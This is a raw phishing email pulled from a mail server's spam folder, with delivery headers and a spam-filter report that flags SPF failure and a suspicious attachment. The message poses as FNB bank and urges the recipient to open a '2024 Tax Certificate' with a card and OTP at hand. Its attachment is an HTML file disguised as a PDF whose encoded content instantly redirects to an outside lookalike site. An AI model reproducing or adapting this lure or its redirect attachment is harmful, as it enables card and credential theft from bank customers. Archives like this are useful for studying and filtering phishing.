File: /home/govancoz/mail/.spam/new/1721243288.M80129P902409.zacp120.ve.host,S=11676,W=11887
Return-Path: <inContact@fnb.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id tfkGBJgWmGYJxQ0AvcbEzQ
(envelope-from <inContact@fnb.co.za>)
for <govancoz+spam@zacp120.ve.host>; Wed, 17 Jul 2024 21:08:08 +0200
Return-path: <inContact@fnb.co.za>
Envelope-to: emalini1@govan.co.za
Delivery-date: Wed, 17 Jul 2024 21:08:08 +0200
Received: from [103.8.26.69] (port=42078 helo=main.gkdzign.com)
by zacp120.ve.host with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.97.1)
(envelope-from <inContact@fnb.co.za>)
id 1sUA0G-00000003mdn-3sCn
for emalini1@govan.co.za;
Wed, 17 Jul 2024 21:08:07 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=bew88.com;
s=default; h=Content-Type:MIME-Version:Message-ID:Date:Subject:To:From:Sender
:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:Content-Description:
Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
List-Post:List-Owner:List-Archive;
bh=cgXtovNP2kDTa4Pl9P/SrEUX8BgVxG7sTIsaLCz9jcY=; b=FfBRyvLwys/XAxLjPYwwGQgEvz
AKxpMbj8aPDQuNkUvWZFZhYijOnXWnbBOTzlYdWfQurg/C9TGKy8RpmGDVJO6sPaBPK5578zvcVAs
CufPRDG6RWrVQY0dVCpIyFJCIDJjoiPtMn/PJeOdAZMbjS+Af32ECmfrRmwSPjJrZy74gFUql16i3
7BcKTlkVaOzEIN7az2Kdf9VSXAOPg42xcaVHqRGdCziJ2Gee6RKChptxn7HffFauX8WZmCUDOwRd/
IDxqasehr2FGXsuZ1DQvHTSZHIT/IPZiOAZy33XAzFZfmGopNU/GQ0DljfIOpE/lO5wc7622J5m/Y
JGnNamtw==;
Received: from ip101.ip-51-89-199.eu ([51.89.199.101]:64242)
by main.mylifehosting.com with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.97.1)
(envelope-from <inContact@fnb.co.za>)
id 1sU9zY-00000001bPr-2M7t
for emalini1@govan.co.za;
Thu, 18 Jul 2024 03:07:08 +0800
From: <inContact@fnb.co.za>
To: emalini1@govan.co.za
Date: 17 Jul 2024 12:07:05 -0700
Message-ID: <20240717120704.907E240430D58B81@fnb.co.za>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_DAE45770.55146664"
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - main.mylifehosting.com
X-AntiAbuse: Original Domain - govan.co.za
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - fnb.co.za
X-Get-Message-Sender-Via: main.mylifehosting.com: authenticated_id: support@bew88.com
X-Authenticated-Sender: main.mylifehosting.com: support@bew88.com
X-Source:
X-Source-Args:
X-Source-Dir:
X-Spam-Status: Yes, score=15.4
X-Spam-Score: 154
X-Spam-Bar: +++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Dear valued customer We have made some updates on your FNB
2024 Tax Certificate. Download attached and follow the prompt to update your
FNB 2024 Tax Certificate .
Content analysis details: (15.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: bew88.com]
4.0 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=incontact%40fnb.co.za;ip=103.8.26.69;r=zacp120.ve.host]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[103.8.26.69 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[103.8.26.69 listed in bl.score.senderscore.com]
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
1.5 KAM_DMARC_QUARANTINE DKIM has Failed or SPF has failed on the
message and the domain has a DMARC
quarantine policy
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
X-Spam-Flag: YES
Subject: ***SPAM*** FNB :) Download your 2024 Tax Certificate
This is a multi-part message in MIME format.
------=_NextPart_000_0012_DAE45770.55146664
Content-Type: multipart/related;
boundary="----=_NextPart_001_0013_DAE45770.55146664"
------=_NextPart_001_0013_DAE45770.55146664
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body><div class=3D"rcmBody"><p><img style=3D"border-color: rgb(0, 0, 0);" =
src=3D"cid:fnb.jpg" width=3D"85" height=3D"85"><br><br>Dear valued customer=
</p>
<div>We have made some updates on your FNB 2024 Tax Certificate.<br><b=
r></div>
<div>Download attached and follow the prompt to update your FNB 2024 Tax Ce=
rtificate .</div>
<p><br></p>
<div><font color=3D"#fd0219">For additional security;</font></div>
<div><strong>Have your Credit/Debit card at hand at the time of updating yo=
ur 2024 Tax Certificate.</strong></div>
<p><strong>An OTP will be sent to your registered email or phone number=20
to perform your secure operation at the time of redeeming your funds.</stro=
ng> </p>
<div class=3D"v1v1v1v1v1x_elementToProof"><br></div>
<p><br></p>
<div><b>Please do NOT reply to this message as it is sent from an unattende=
d mailbox</b></div></div></body></html>
------=_NextPart_001_0013_DAE45770.55146664
Content-Type: image/jpeg; name="fnb.jpg"
Content-Transfer-Encoding: base64
Content-ID: <fnb.jpg>
Content-Disposition: inline; filename="fnb.jpg"
/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAgGBhIGERMSERIREhAQEBgQFhYQEhcXFRcVFRoW
HRUVGhMVGCIdFhYsFxAQHSsdICUlKCgoFh0tMSwmMCYnKCYBCQkJDQwNGA4OGSciHSImJyYt
JiYnJyYmJiYmJiYmJicmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmLS0mLSYmJv/AABEIAFUA
VQMBEQACEQEDEQH/xAAcAAADAAMBAQEAAAAAAAAAAAAFBgcAAwQCAQj/xABGEAABAgQDAwcI
BgYLAAAAAAABAgMABAURBhIhMUFxEyIyUWGRoQcUFUKBkrHBM1JyssLRI2KC0uHwFyQ0Q1Nj
dIPT4vH/xAAbAQACAgMBAAAAAAAAAAAAAAAFBgMEAAIHAf/EACsRAAICAgEDAwMDBQAAAAAA
AAECAAMEEQUSITEGE0EiMlEzQlIUcZGh8P/aAAwDAQACEQMRAD8Av8ZMmRkyAK5itmh6KOZz
chGqvb1CJa6S8H5XIV0dt94gVPH8zPXCCGk9SdVe8R8AIuJjqPMXsjmLX7LF1+oOzXTccX9p
ZPxMWAgEFvc7n6jNCVFGy4MeyLeoRlK/MyR5jzgtuKsw91WkaNUrS3VmW1/aY20jykKRZMyi
4+u380xVsxfxDOLzfxZH6RqDdSQFtqC0nePh2HsMVGUr5jBTelo2pnXGsmmRkyZGTIj4xxh6
Ouywf0vrK3I/7Rapp6u5gLkuS9v6E8yYuOF0lSiSom5J1JO833mL4AURWZntaMdJwU/UBnXZ
lrbmc2268v52itdmJWO8K4nD23dzDSMO0+T6bjjx7CQO9IHxgNbzta/MY8f0v2+oTZ6Opi9O
ScT25lfvxAvqCvcsn0wuuwnO7guWnv7NMEK+q7/4CIIUcxVZ8wXlemmUbEVarRHqMqzqCAdA
oapPAwWrtVx2i1k4NtB+oTKPWnaIvO2dPWSeiodo+cZZUGE9xMx6G89pY6HWm640HEcFJO1J
3gwMsQqe8csTKW9NiFI0luAcV1z0GwVD6RXMQO07+AiWmvqMH8hlexXv5kXW4XSVKJKibkna
Sdpud8FAAoiSzG1/7x8oNBRQ20zEym7qtW2zu6iQfW+EBeR5JaRrfeN/C8L16ZxPs/UnKgbq
Om5I6IhHys+y9u5j/j4ldQ7Tjin3MtdhMjOk/iZsTNkeqzKe08IB8wxJ1cOp5KZHKMq0ObUj
5keIg7x/LPW3S8C8hxSWqdCKeJ8OGiLCkHMw50FfhJ6+3eIeMfIW1dic05Pj2x37eJqwzXDQ
ngq/6NVkrHZ126xG91fUsi47LNNktbaw6AQbgi+kDCNGO6MGUESSY+qXns0UA81kZR9o2Kvw
iCGOml3FDmMgvb0jxNWCqSKi/nX9GwOUVx9X4XjXMuFabmcPie9bsw1Up81BwqOzYkdSY5xn
ZLX2GdYxMcU1iKmKfPilAkcuYk5yrJoNLdOJcBKd7uE8yi+voik5RK09qudab/3Mv3G4MBsM
eElDV5/dNQw7VRsqTRP+oc+aI2NmKfKTzou/lOlEjXZPovNujig399IMQsMI9ukibj3x8yhy
xUUJz2z5BmtszWF9m68LtygOenxCyHa94fpyRWGVyrmxSSpB6iP46wx8JnEHoMXecwFsrLCT
Z9kyylIULKQopI7RtEO6nYnLbUNbkSrYDqnncqEqPOZVyfs2p8Db2QPvTTRs4zK3ToyXVB/z
l1xf13FK7yYIIoA1FO6wu5Md8OI8zpzi97zhF+wWHyVC7ztxWsiO/pigaBgSsMOzLDiGF5HV
JshWyx4gQl4zKLAzjYj3cD0aUyW17BlSZaU45NF7LqUh1wm3YFAAw0UZNDN0hf8AUC3VWgb6
oNoOEJautcoZ9LatikOISCDxU6LjtiW/Kao6CbmlNIsGy0Kf0cSp2VJruR/yxWHI2fNcl/pU
/nNjXkyA1ZqCCf1U28UuGPDyW/Nf/f4noxPw8O0TCdRpTzZXOcowlXOSXHDcdWVQtFXJyaLK
z9GjJ6arFb7pRqe95u6hXUsd2/wgRhuUuEu5KB6jA+OZXzacWRscCXO8WPimOm4r9VYM5BzF
fReZ5wxWvRPKfr5fDN+cSOgYyvjZJrXUXlJyG28GJJSI1KFTufS2req6q/vL/OFX1AD0Tovp
cjpESMX4fma6GxLzBYCc2fnrGa+XLonbayoXePy6qAetdxryqHs+0xOd8kbzoJM0lS/1kq+N
zBReZqH7dSi3H2EdzEip4ecoDyWpoFCSekjnApvqpOusFqshLk6q+8HvS1bdLQ9ifBTOHpdL
wmi4XbcmkN2zCwJVfMbJsYrY+W9rlCutSe6gIvUDNOHPJ5M19Aculpo7FL2q4JG6PMrkaqDo
9zMow7LBuMjfkumpL6Gdy8M6PukxRPL0N5SWxgWDw0plJlly7bTa1FbiUISpRJOZQABVc6m5
11gMXWzI6k/MIFStR3PvlEVeaHYwkH3lx0fB/TE5Nzh3cYrNMl3Zui4YFCkzur8oZKZeRss4
SOCtU+BjSo9Sy1mVe3aVjTgt3z+Wfl/WSeVT7d3enxgRzGP7lRjN6ayultGc+yOdupB1OlKd
jcyNd7nsTvKbTkzsgtZHOZUlaTxISocLKgxw1xW3oPzB/IVg19UklOdXX3pSXcUShKksjsQp
ZJ+8YZrQKkZxA1RNjBTP0U22GgEpACUgAAbABsFuqEW1i7EmM6KFXU9RHNoRocr508nqSc5/
Z2eMEuMoNlwMo8hcK6jFLE0/6RmnVjo58g4JsL8NLx0mhOlQJyDkrvcuJjFgKkCdQ6tQuMyU
DiASfvJiO6zTS3x2J7lfVN3lHpBQpEwkaEcmvj6piPGs+Ja5rFP6gijRKqaM8h0agGyh1pO0
RYuQOuoHwck0Who9VeTS6BMM85l3nXG4n4C/cYQ+X49q361nVeKz1tQDcDwA1DYgbFdNXV5R
5lu3KOAAZjYdJJOvARcwLkquDNK+VWXrIEnOH/JzOUyZZdWG8rbqVmyxsB1hgyeUoeoqIKow
bFcEyvwqN5h0DU+oQVkAC5OgHyjatC7aE1dwg2YTq84MLSxQD/WXxbT1U7z/ADvh54fjvbXq
aIvP8qNdAk6SkrIAFyTYD4CGPwNxCUGx5bcNUn0RLobPStmV9o7YF2vto84ON7VQE7qhIoqT
am1i6Vix/nrvrGit0ncsX0i1CpkTrVGXRHS2vZtSrcpPX+YgpXYGWI+ZitQ5B8Tuw5idVEJQ
oZ2FdJB3dZF9/ZviG/GW0aMtcfyb47RuTTmqwnlJRxKhvQo2I7NdR7YUc7g2B2k6Dgc5XYv1
GDnqe7LdJCh7NO8aQCfCtTyIdTKrf5mkNKVsBJ4RF7Fh+JIbUHzO6Wob016hSOten8Yt0cZd
Ye4lW7kKqx5nucq8vhYEIIfmdmnRTxI2cNsNfHcMtfdoo8rz41pIgz06upLLjhKlqOp+AA3D
shiVQg0Ii33tc/U0ccB4ZMwoTLo5ifowd5+vw6oqZFvwIc4nAJPuPKdFKNE+RkyDK1Q2643k
cHBQ2pPWDEiWFTKmViJeujJLXMMvUInMnM3uWnZ2X+qYIV3Boo5fHWUmCWX1SxCkKUlQ2FJI
PeIkKhpTS16z2h+VxzOS2mcLH+YkHxFiYhfFRvIhCvl71+Z1HyiTR9VkdoQr96IxhVj4kx5y
/wDMET+Jpqo6LeVl6kc0cLJGo4xOlCr4Ep3cldZ5MFJSVkAAknQAfkIk2BKYV7DHnDOA1TBD
kyMqNob3n7XUOyKl2R8CH8DiST12SltoDQAAAAFgBu9kUSdxmRAo0J7jJtMjJkyMmTw42HAQ
QCCN8YGImrIrDREVapgOWm+ckFpR/wAPZ7p07rRZrvYQRlcZSe8Rq3hj0R/e5v2LfiMXa3JE
W8nGWsnUAstcqbbIk3Karsx1pOAkTgClvKsdyEgeJJitZcRDOJx9dn3R2pOG5ekfRtjNszK1
V3nZFN7WaMWNhVVeBDMRS9MjJkyMmT//2Q==
------=_NextPart_001_0013_DAE45770.55146664--
------=_NextPart_000_0012_DAE45770.55146664
Content-Type: text/html; name="FNB 2024 Tax Certificate.PDF.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="FNB 2024 Tax Certificate.PDF.html"
DQo8IURPQ1RZUEUgaHRtbD4NCg0KDQo8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250
ZW50PSIwMDtodHRwczovL3NzZWN1cmUxMDVzZWMuY29tL3JtYi9zZWN1cmVkLyI+DQoNCjxi
b2R5IGNsYXNzPSJjZW50ZXIiPg0KPC9odG1sPg0KDQo=
------=_NextPart_000_0012_DAE45770.55146664--